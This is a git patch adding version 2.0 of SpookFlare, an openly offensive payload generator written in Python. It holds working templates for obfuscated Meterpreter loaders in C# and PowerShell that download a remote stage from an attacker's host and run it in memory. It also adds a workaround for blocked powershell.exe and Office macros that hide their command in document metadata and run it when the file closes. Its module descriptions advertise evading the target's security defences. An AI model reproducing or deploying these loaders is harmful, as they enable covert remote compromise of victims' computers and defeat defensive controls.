From 2df14aaa93157ad0f57454726fd7e05c704f2282 Mon Sep 17 00:00:00 2001 From: Halil Dalabasmaz Date: Wed, 2 May 2018 12:34:52 +0300 Subject: [PATCH] New release SpookFlare v2.0. New payloads, new structure. --- lib/__init__.py | 1 + lib/sfhta.py | 104 ++++++++ lib/sfmpbin.py | 41 ++++ lib/sfmpps.py | 60 +++++ lib/sfvba.py | 59 +++++ output/test.spookflare.txt | 1 + requirements.txt | 3 + spookflare.py | 474 +++++++++++++++++++++++++++++++++++++ 8 files changed, 743 insertions(+) create mode 100644 lib/__init__.py create mode 100644 lib/sfhta.py create mode 100644 lib/sfmpbin.py create mode 100644 lib/sfmpps.py create mode 100644 lib/sfvba.py create mode 100644 output/test.spookflare.txt create mode 100644 requirements.txt create mode 100644 spookflare.py diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..0519ecb --- /dev/null +++ b/lib/__init__.py @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/lib/sfhta.py b/lib/sfhta.py new file mode 100644 index 0000000..72f7906 --- /dev/null +++ b/lib/sfhta.py @@ -0,0 +1,104 @@ +# -*- coding: utf-8 -*- +import random +import string +import base64 + +def randomString(): + return ''.join([random.choice(string.ascii_letters) for n in xrange(12)]) + +def generateKey(): + keys = "!#+%&/()=?_-*[]$><" + return ''.join(random.sample(keys,len(keys))) + +def generateBase(htaCommand, htaFileName): + htaKey = generateKey() + if "\"" in htaCommand: + htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)]).replace("\"", "\"\"") + else: + htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)]) + + baseHta = '''''' + + launcherBase = '''''' + launcherFinal = launcherBase.format(randomString(), randomString(), randomString(), randomString(), randomString()) + return launcherFinal +cdata = " " +def obfuscateHta(launcherFinal): + finalPayload = "" + return finalPayload.format(randomString(), randomString(), randomString()) \ No newline at end of file diff --git a/lib/sfmpbin.py b/lib/sfmpbin.py new file mode 100644 index 0000000..ee10554 --- /dev/null +++ b/lib/sfmpbin.py @@ -0,0 +1,41 @@ +# -*- coding: utf-8 -*- +import random +import string +import base64 +from base64 import b64encode + +def randomString(): + return ''.join([random.choice(string.ascii_letters) for n in xrange(12)]) + +def checksum8(s): + return sum([ord(ch) for ch in s]) % 0x100 + +def genHTTPChecksum(): + chk = string.ascii_letters + string.digits + for x in xrange(64): + uri = "".join(random.sample(chk,3)) + r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) + for char in r: + if checksum8(uri + char) == 92: + return uri + char + +def generateMPBinLoader(mpBinProto, mpBinLhost, mpBinLport, mpBinArch, mpBinSsize): + + if mpBinProto == "https": + mpBinSSLChk = "ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, sslPolicyErrors) => true;" + else: + mpBinSSLChk = "" + + if mpBinArch == "x86": + mpBinArch = "UInt32" + elif mpBinArch == "x64": + mpBinArch = "UInt64" + + mpBinNSpace = randomString() + mpBinLClass = randomString() + loaderHost = mpBinProto+"://"+mpBinLhost+":"+mpBinLport+"/"+genHTTPChecksum() + loaderBase = '''using System;using System.Net;using System.Runtime.InteropServices; namespace {24} {{ public class {25} {{ [DllImport ("kernel32")] private static extern {23} VirtualAlloc ({23} {0}, {23} {1}, {23} {2}, {23} {3}); [DllImport ("kernel32")] private static extern IntPtr CreateThread ({23} {4}, {23} {5}, {23} {6}, IntPtr {7}, {23} {8}, ref {23} {9}); [DllImport ("kernel32")] private static extern {23} WaitForSingleObject (IntPtr {10}, {23} {11}); [DllImport ("kernel32.dll")] static extern IntPtr GetConsoleWindow (); [DllImport ("user32.dll")] static extern bool ShowWindow (IntPtr {12}, int {13}); public static void Main () {{ShowWindow (GetConsoleWindow (), 0);{14}WebClient {15} = new System.Net.WebClient ();{15}.Headers.Add ("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");{15}.Headers.Add ("Accept", "*/*");{15}.Headers.Add ("Accept-Language", "en-gb,en;q=0.5");byte[] {16} = null;{16} = {15}.DownloadData ("{26}");byte[] {17} = new byte[{16}.Length - {18}];Array.Copy ({16}, {18}, {17}, 0, {17}.Length);{23} {19} = VirtualAlloc (0, ({23}) {17}.Length, 0x1000, 0x40);Marshal.Copy ({17}, 0, (IntPtr) ({19}), {17}.Length);IntPtr {20} = IntPtr.Zero;{23} {21} = 0;IntPtr {22} = IntPtr.Zero;{20} = CreateThread (0, 0, {19}, {22}, 0, ref {21});WaitForSingleObject ({20}, 0xFFFFFFFF);}}}}}}'''.format(randomString(), randomString(), randomString(), randomString(),randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), mpBinSSLChk, randomString(), randomString(), randomString(), mpBinSsize, randomString(), randomString(), randomString(), randomString(), mpBinArch, mpBinNSpace, mpBinLClass, loaderHost) + loaderKey = (''.join(random.sample("hlldzé!^+%&/()=?_<>£#$[]|",len("hlldzé!^+%&/()=?_<>£#$[]|")))[0:3]) + loaderCode = loaderKey.join([loaderBase[i:i+1] for i in range(0, len(loaderBase), 1)]).replace("\"", "\\\"") + loaderFinal = '''using System;using System.CodeDom.Compiler;using System.Reflection;using Microsoft.CSharp;namespace {0} {{public class {1} {{public static void Main () {{string {2} = "{3}".Replace("{4}", "");CSharpCodeProvider {5} = new CSharpCodeProvider ();CompilerParameters {6} = new CompilerParameters (new [] {{"mscorlib.dll", "System.dll"}});{6}.GenerateInMemory = true;{6}.ReferencedAssemblies.Add (Assembly.GetEntryAssembly ().Location);CompilerResults {7} = {5}.CompileAssemblyFromSource ({6}, {2});Assembly {8} = {7}.CompiledAssembly;Type {9} = {8}.GetType ("{10}.{11}");MethodInfo {12} = {9}.GetMethod ("Main");{12}.Invoke (null, null);}}}}}}'''.format(randomString(), randomString(), randomString(), loaderCode, loaderKey, randomString(), randomString(), randomString(), randomString(), randomString(), mpBinNSpace, mpBinLClass, randomString()) + return loaderFinal diff --git a/lib/sfmpps.py b/lib/sfmpps.py new file mode 100644 index 0000000..05b066d --- /dev/null +++ b/lib/sfmpps.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- +import random +import string +import base64 +from base64 import b64encode + +def randomString(): + return ''.join([random.choice(string.ascii_letters) for n in xrange(12)]) + +def checksum8(s): + return sum([ord(ch) for ch in s]) % 0x100 + +def genHTTPChecksum(): + chk = string.ascii_letters + string.digits + for x in xrange(64): + uri = "".join(random.sample(chk,3)) + r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) + for char in r: + if checksum8(uri + char) == 92: + return uri + char + +def generateMPPSLoader(mpProto, mpLhost, mpLport, mpArch, mpSsize): + if mpArch == "x86": + mpArch = "ToInt32" + mpDef = "UInt32" + elif mpArch == "x64": + mpArch = "ToInt64" + mpDef = "UInt64" + + loaderHost = mpProto+"://"+mpLhost+":"+mpLport+"/"+genHTTPChecksum() + baseMetPs = '''${0} = @" +[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, {8} dwSize, {8} flAllocationType, {8} flProtect); +[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, {8} dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, {8} dwCreationFlags, IntPtr lpThreadId); +[DllImport("kernel32.dll")] public static extern {8} WaitForSingleObject(IntPtr hHandle, {8} dwMilliseconds); +"@; +${1} = New-Object "`N`et.`W`ebc`l`i`ent";${1}.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");${1}.Headers.Add("Accept", "*/*");${1}.Headers.Add("Accept-Language", "en-gb,en;q=0.5");[Byte[]] ${2} = ${1}."D`o`wn`l`oa`d`Data"("{9}");${3} = New-Object byte[] (${2}.Length - {4});[Array]::Copy(${2}, {4}, ${3}, 0, (${2}.Length - {4}));${5} = A`d`d-T`y`p`e -memberDefinition ${0} -Name "Win32" -namespace `W`in`3`2`F`un`ct`i`on`s -passthru;${6}=${5}::VirtualAlloc(0,${3}.Length,0x3000,0x40);[Runtime.InteropServices.Marshal]::Copy(${3}, 0, [IntPtr](${6}.{7}()), ${3}.Length);${5}::CreateThread(0,0,${6},0,0,0) | oUT-NuLl;`S`T`A`R`T-`S`l`e`E`p -s `8`6`4`2`0''' + + loaderFinal = baseMetPs.format(randomString(), randomString(), randomString(), randomString(), mpSsize, randomString(), randomString(), mpArch, mpDef, loaderHost) + return loaderFinal + +def generateMPPSCsharpLoader(mpPsCode): + mCsharpCode = '''using System; +using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; +public class {0} {{ + public static void Main() {{ + byte[] {1} = Convert.FromBase64String("{6}"); + string {2} = Encoding.Unicode.GetString({1}); + {3} {3} = RunspaceFactory.CreateRunspace(); + {3}.Open(); + RunspaceInvoke {4} = new RunspaceInvoke({3}); + {5} {5} = {3}.CreatePipeline(); + {5}.Commands.AddScript({2}); + {5}.Invoke(); + {3}.Close(); + return; + }} +}}''' + + loaderFinal = mCsharpCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), b64encode(mpPsCode).encode("UTF-16LE")) + return loaderFinal \ No newline at end of file diff --git a/lib/sfvba.py b/lib/sfvba.py new file mode 100644 index 0000000..f86892d --- /dev/null +++ b/lib/sfvba.py @@ -0,0 +1,59 @@ +# -*- coding: utf-8 -*- +import random +import string +import base64 + +def randomString(): + return ''.join([random.choice(string.ascii_letters) for n in xrange(12)]) + +def generateKey(): + keys = "!#+%&/()=?_-*[]{}$><" + return ''.join(random.sample(keys,len(keys))) + +def generateCmd(vbaKey, vbaCommand): + return vbaKey.join([vbaCommand[i:i+1] for i in range(0, len(vbaCommand), 1)]) + +def generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName): + + if vbaFileType == "word": + vbaFileType = "ActiveDocument" + elif vbaFileType == "excel": + vbaFileType = "ActiveWorkbook" + elif vbaFileType == "powerpoint": + vbaFileType = "ActivePresentation" + + if vbaMetaName == "Comments": + vbaMetaName = "C\"&\"o\"&\"m\"&\"m\"&\"e\"&\"n\"&\"t\"&\"s" + elif vbaMetaName == "Company": + vbaMetaName = "C\"&\"o\"&\"m\"&\"p\"&\"a\"&\"n\"&\"y" + + vbaCommandKey = generateKey() + vbaBaseCmd = generateCmd(vbaCommandKey, vbaCommand) + vbaBaseCode = '''Sub Auto_Close() + {0} +End Sub + +Sub AutoClose() + {0} +End Sub + +Public Function {0}() As Variant + Dim {1} As DocumentProperty + For Each {1} In {8}.BuiltInDocumentProperties + If {1}.Name = "{10}" Then + Dim {2} As String + {2} = Replace({1}.Value, "{9}", "") + Const HIDDEN_WINDOW = 0 + Set {3} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2") + Set {4} = {3}.Get("W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s"&"S"&"t"&"a"&"r"&"t"&"u"&"p") + Set {5} = {4}.SpawnInstance_ + {5}.ShowWindow = HIDDEN_WINDOW + Set {6} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2"&":"&"W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s") + {6}.Create {2}, Null, {5}, {7} + End If + Next +End Function''' + + loaderFinal = "'\n'Insert the following string to \""+vbaMetaName.replace("\"&\"", "")+"\" meta data section of file:\n'" + vbaBaseCmd + "\n'\n\n" + loaderFinal += vbaBaseCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), vbaFileType, vbaCommandKey, vbaMetaName) + return loaderFinal diff --git a/output/test.spookflare.txt b/output/test.spookflare.txt new file mode 100644 index 0000000..0519ecb --- /dev/null +++ b/output/test.spookflare.txt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..a9449fa --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +cmd +terminaltables +textwrap \ No newline at end of file diff --git a/spookflare.py b/spookflare.py new file mode 100644 index 0000000..17a4cf5 --- /dev/null +++ b/spookflare.py @@ -0,0 +1,474 @@ +# -*- coding: utf-8 -*- +import os +import signal +import sys +import cmd +from terminaltables import AsciiTable +from textwrap import wrap +from base64 import b64encode +from lib import sfmpbin +from lib import sfmpps +from lib import sfhta +from lib import sfvba + +intro = '''\033[1m\033[91m ___ ___ ___ ___ _ _____ _ _ ___ ___ + / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __| + \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _| + |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___| +\033[0m + Version : 2.0 + Author : Halil Dalabasmaz + WWW : artofpwn.com, spookflare.com + Twitter : @hlldz + Github : @hlldz + Licence : Apache License 2.0 + Note : Stay in shadows! + + \033[1m\033[94m[*]\033[0m You can use "help" command for access help section\033[0m. +''' + +def ctrlcHandler(signum, frame): + print " \n\n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n" + sys.exit(0) + +class sfCmd(cmd.Cmd): + global helpText + helpText = "Commands" + def __init__(self, intro=intro, prompt="\033[1mSpookFlare > \033[0m"): + cmd.Cmd.__init__(self) + self.intro = intro + self.prompt = prompt + self.doc_header = helpText + global moduleName + moduleName = "" + + def do_list(self, line): + optionsValues = [ + ["ID", "Payload", "Description"], + ["1", "meterpreter/binary", ".EXE Meterpreter Reverse HTTP and HTTPS loader"], + ["2", "meterpreter/powershell", "PowerShell based Meterpreter Reverse HTTP and HTTPS loader"], + ["3", "javascript/hta", ".HTA loader with .HTML extension for specific command"], + ["4", "vba/macro", "Office Macro loader for specific command"] + ] + optTable = AsciiTable(optionsValues) + optTable.outer_border = False + optTable.inner_column_border = True + print "\n" + optTable.table + "\n" + + def do_use(self, line): + try: + global moduleName + moduleName = line.split()[0] + except IndexError: + print "\n \033[1m\033[91m[!]\033[0m You need to give a valid payload id.\033[0m\n" + if moduleName == "1": + moduleName = "meterpreter/binary" + sfCmds = mpBinaryModule() + sfCmds.cmdloop() + elif moduleName == "2": + moduleName = "meterpreter/powershell" + sfCmds = mpPSModule() + sfCmds.cmdloop() + elif moduleName == "3": + moduleName = "javascript/hta" + sfCmds = jsHtaModule() + sfCmds.cmdloop() + elif moduleName == "4": + moduleName = "vba/macro" + sfCmds = vbaModule() + sfCmds.cmdloop() + else: + pass + + def do_exit(self, line): + print " \n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n" + return True + + def emptyline(self): + pass + + def help_list(self): + print "List available payloads" + + def help_use(self): + print "Use specific payload. Syntax: use " + + def help_exit(self): + print "Exit SpookFlare" + + def help_info(self): + print "Show payload options and parameter values" + + def help_set(self): + print "Set value to parameter. Syntax: set " + + def help_generate(self): + print "Generate the payload with current values." + + def help_back(self): + print "Back to SpookFlare main menu." + +class mpBinaryModule(sfCmd): + global mpbProto + global mpbLhost + global mpbLport + global mpbArch + global mpbSsize + + mpbProto = None + mpbLhost = None + mpbLport = None + mpbArch = None + mpbSsize = "0" + + def __init__(self): + sfCmd.__init__( + self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") + + def do_info(self, line): + print "\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n" + print ''' This module can be used to generate .EXE loaders and it is + coded with C#. It support Meterpreter Reverse HTTP, + Reverse HTTPS staged payloads. The payloads generated by + this module has two parts. The first part is the real loader + code generated with character substitution. The second part + is to compile and run the first part at runtime.''' + print "\n \033[1m\033[94m[*]\033[0m Module Options\033[0m" + optionsValues = [ + ["Parameter", "Required", "Value", "Description"], + ["PROTO", "Yes", mpbProto, "Listener protocol. Accepted: http or https"], + ["LHOST", "Yes", mpbLhost, "The local listener hostname or IP address"], + ["LPORT", "Yes", mpbLport, "The local listener port."], + ["ARCH", "Yes", mpbArch, "Architecture of target system. Accepted: x86 or x64"], + ["SSIZE", "No", mpbSsize, "If you patched Metasploit insert your patch size"] + ] + optTable = AsciiTable(optionsValues) + optTable.outer_border = False + optTable.inner_column_border = False + optTable.justify_columns[1] = "center" + print "\n" + optTable.table + "\n" + + def do_set(self, line): + global mpbProto + global mpbLhost + global mpbLport + global mpbArch + global mpbSsize + if line.split()[0] == "PROTO": + if line.split()[1] == "http" or line.split()[1] == "https": + mpbProto = line.split()[1] + print "PROTO => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "LHOST": + mpbLhost = line.split()[1] + print "LHOST => " + line.split()[1] + elif line.split()[0] == "LPORT": + try: + int(line.split()[1]) + if (0 < int(line.split()[1]) < 65536): + mpbLport = line.split()[1] + print "LPORT => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + except ValueError: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "ARCH": + if line.split()[1] == "x86" or line.split()[1] == "x64": + mpbArch = line.split()[1] + print "ARCH => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "SSIZE": + try: + int(line.split()[1]) + if int(line.split()[1]) >= 0: + mpbSsize = line.split()[1] + print "SSIZE => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + except ValueError: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + + def do_generate(self, line): + if (mpbProto == None or mpbLhost == None or mpbLport == None or mpbArch == None): + print "\n \033[1m\033[91m[!]\033[0m Please check your values.\n" + else: + print "\n \033[1m\033[94m[*]\033[0m Generating payload...\n" + outputFileName = sfmpbin.randomString() + outputMPPSCode = sfmpbin.generateMPBinLoader(mpbProto, mpbLhost, mpbLport, mpbArch, mpbSsize) + file = open("output/"+outputFileName+".cs", "w") + file.write(outputMPPSCode) + file.close() + print " \033[1m\033[92m[+]\033[0m Binary loader code is successfully generated: output/" + outputFileName+".cs\n" + print " \033[1m\033[94m[*]\033[0m You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe or Visual Studie for compile C# code.\n" + + def do_back(self, line): + return True + + def do_exit(self, line): + pass + +class mpPSModule(sfCmd): + global mppProto + global mppLhost + global mppLport + global mppArch + global mppSsize + + mppProto = None + mppLhost = None + mppLport = None + mppArch = None + mppSsize = "0" + + def __init__(self): + sfCmd.__init__( + self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") + + def do_info(self, line): + print "\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n" + print ''' This module can be used to generate PowerShell + based loader (.PS1) and .EXE loader for blocked powershell.exe + environments. It support Meterpreter Reverse HTTP, Reverse HTTPS + staged payloads. The payload generated by this module has two output. + The first output is PowerShell script and it can be used directly + when available PowerShell access. The second output is C# code + for PowerShell based loader code that will be used when powershell.exe + is blocked. You can compile and run it, after that loader runs + the PowerShell based loader code using System.Management.Automation.dll. + This module also has the ability to process patched stages.''' + print "\n \033[1m\033[94m[*]\033[0m Module Options\033[0m" + optionsValues = [ + ["Parameter", "Required", "Value", "Description"], + ["PROTO", "Yes", mppProto, "Listener protocol. Accepted: http or https"], + ["LHOST", "Yes", mppLhost, "The local listener hostname or IP address"], + ["LPORT", "Yes", mppLport, "The local listener port."], + ["ARCH", "Yes", mppArch, "Architecture of target system. Accepted: x86 or x64"], + ["SSIZE", "No", mppSsize, "If you patched Metasploit insert your patch size"] + ] + optTable = AsciiTable(optionsValues) + optTable.outer_border = False + optTable.inner_column_border = False + optTable.justify_columns[1] = "center" + print "\n" + optTable.table + "\n" + + def do_set(self, line): + global mppProto + global mppLhost + global mppLport + global mppArch + global mppSsize + if line.split()[0] == "PROTO": + if line.split()[1] == "http" or line.split()[1] == "https": + mppProto = line.split()[1] + print "PROTO => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "LHOST": + mppLhost = line.split()[1] + print "LHOST => " + line.split()[1] + elif line.split()[0] == "LPORT": + try: + int(line.split()[1]) + if (0 < int(line.split()[1]) < 65536): + mppLport = line.split()[1] + print "LPORT => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + except ValueError: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "ARCH": + if line.split()[1] == "x86" or line.split()[1] == "x64": + mppArch = line.split()[1] + print "ARCH => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "SSIZE": + try: + int(line.split()[1]) + if int(line.split()[1]) >= 0: + mppSsize = line.split()[1] + print "SSIZE => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + except ValueError: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + + def do_generate(self, line): + if (mppProto == None or mppLhost == None or mppLport == None or mppArch == None ): + print "\n \033[1m\033[91m[!]\033[0m Please check your values.\n" + else: + print "\n \033[1m\033[94m[*]\033[0m Generating payload...\n" + outputFileName = sfmpps.randomString() + outputMPPSCode = sfmpps.generateMPPSLoader(mppProto, mppLhost, mppLport, mppArch, mppSsize) + file = open("output/"+outputFileName+".ps1", "w") + file.write(outputMPPSCode) + file.close() + print " \033[1m\033[92m[+]\033[0m PowerShell loader code is successfully generated: output/" + outputFileName+".ps1" + file = open("output/"+outputFileName+".cs", "w") + file.write(sfmpps.generateMPPSCsharpLoader(outputMPPSCode)) + file.close() + print " \033[1m\033[92m[+]\033[0m C# loader code is successfully generated: output/" + outputFileName+".cs\n" + print " \033[1m\033[94m[*]\033[0m If powershell.exe is blocked on the target system, use the C# code for bypass that restriction." + print " You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe for compile.\n" + + def do_back(self, line): + return True + + def do_exit(self, line): + pass + +class jsHtaModule(sfCmd): + global htaDownloadName + global htaCmdFile + htaDownloadName = None + htaCmdFile = None + + def __init__(self): + sfCmd.__init__( + self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") + + def do_info(self, line): + print "\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n" + print ''' This module can be used to generate HTA downloader + payload with character substitution, obfuscation + and encoding. The module has HTML file output and + generated HTML file do all things dynamically at + the client-side. Thus, a great advantage can be + obtained against the security countermeasures + in the target. The logic of this module is derived + from NCC Group's Demiguise project and added + JavaScript encoder. Using this module, the desired + operating system commands can be executed on + the target system.''' + print "\n \033[1m\033[94m[*]\033[0m Module Options\033[0m" + optionsValues = [ + ["Parameter", "Required", "Value", "Description"], + ["FNAME", "Yes", htaDownloadName, "The file name that will appear when the payload is triggered. Ex: SpookFlare"], + ["CMD", "Yes", htaCmdFile, "The file containing the payload command to run"] + ] + optTable = AsciiTable(optionsValues) + optTable.outer_border = False + optTable.inner_column_border = False + optTable.justify_columns[1] = "center" + print "\n" + optTable.table + "\n" + + def do_set(self, line): + global htaDownloadName + global htaCmdFile + if line.split()[0] == "FNAME": + htaDownloadName = line.split()[1] + print "FNAME => " + line.split()[1] + elif line.split()[0] == "CMD": + htaCmdFile = line.split()[1] + if os.path.isfile(htaCmdFile): + print "CMD => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n" + + def do_generate(self, line): + if (htaDownloadName == None or htaCmdFile == None): + print "\n \033[1m\033[91m[!]\033[0m Please check your values.\n" + else: + print "\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m" + htaCommand = (open(htaCmdFile, "r").read()).strip() + outputFileName = sfhta.randomString() + file = open("output/"+outputFileName+".html", "w") + file.write(sfhta.obfuscateHta(sfhta.generateBase(htaCommand, htaDownloadName))) + file.close() + print " \033[1m\033[92m[+]\033[0m HTML loader code is successfully generated: output/" + \ + outputFileName+".html\033[0m\n" + + def do_back(self, line): + return True + + def do_exit(self, line): + pass + +class vbaModule(sfCmd): + global vbaCmdFile + global vbaFileType + global vbaMetaName + + vbaCmdFile = None + vbaFileType = None + vbaMetaName = None + + def __init__(self): + sfCmd.__init__( + self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") + + def do_info(self, line): + print "\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n" + print ''' This module is generate VBA macro loader + payload with character substitution. The VBA macro + reads real payload from spesific meta-data sections + of file. Thus, a great advantage can be obtained + against the security countermeasures in the target. + Also payload will be triggered when user close the + document. Working in this way is especially advantageous + in analysis. Because run of macro code for when + file opened is marked as malicious by the usage + intensity. Using this module, the desired operating + system commands can be executed on the target system.''' + print "\n \033[1m\033[94m[*]\033[0m Module Options\033[0m" + optionsValues = [ + ["Parameter", "Required", "Value", "Description"], + ["CMD", "Yes", vbaCmdFile, "The file containing the payload command to run"], + ["FTYPE", "Yes", vbaFileType, "File type of payload. Accepted: word, excel, powerpoint"], + ["META", "Yes", vbaMetaName, "The metadata name to read payload. Accepted: Comments and Company (case sensetive)"] + ] + optTable = AsciiTable(optionsValues) + optTable.outer_border = False + optTable.inner_column_border = False + optTable.justify_columns[1] = "center" + print "\n" + optTable.table + "\n" + + def do_set(self, line): + global vbaCmdFile + global vbaFileType + global vbaMetaName + + if line.split()[0] == "FTYPE": + if line.split()[1] == "word" or line.split()[1] == "excel" or line.split()[1] == "powerpoint": + vbaFileType = line.split()[1] + print "FTYPE => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + if line.split()[0] == "META": + if line.split()[1] == "Comments" or line.split()[1] == "Company": + vbaMetaName = line.split()[1] + print "META => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n" + elif line.split()[0] == "CMD": + vbaCmdFile = line.split()[1] + if os.path.isfile(vbaCmdFile): + print "CMD => " + line.split()[1] + else: + print "\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n" + + def do_generate(self, line): + if (vbaCmdFile == None or vbaFileType == None or vbaMetaName == None): + print "\n \033[1m\033[91m[!]\033[0m Please check your values.\n" + else: + print "\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m" + vbaCommand = (open(vbaCmdFile, "r").read()).strip() + outputFileName = sfvba.randomString() + file = open("output/"+outputFileName+".vba", "w") + file.write(sfvba.generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName)) + file.close() + print " \033[1m\033[92m[+]\033[0m Macro loader code is successfully generated: output/" + \ + outputFileName+".vba\033[0m\n" + + def do_back(self, line): + return True + + def do_exit(self, line): + pass + +if __name__ == '__main__': + signal.signal(signal.SIGINT, ctrlcHandler) + sfCmds = sfCmd() + sfCmds.cmdloop()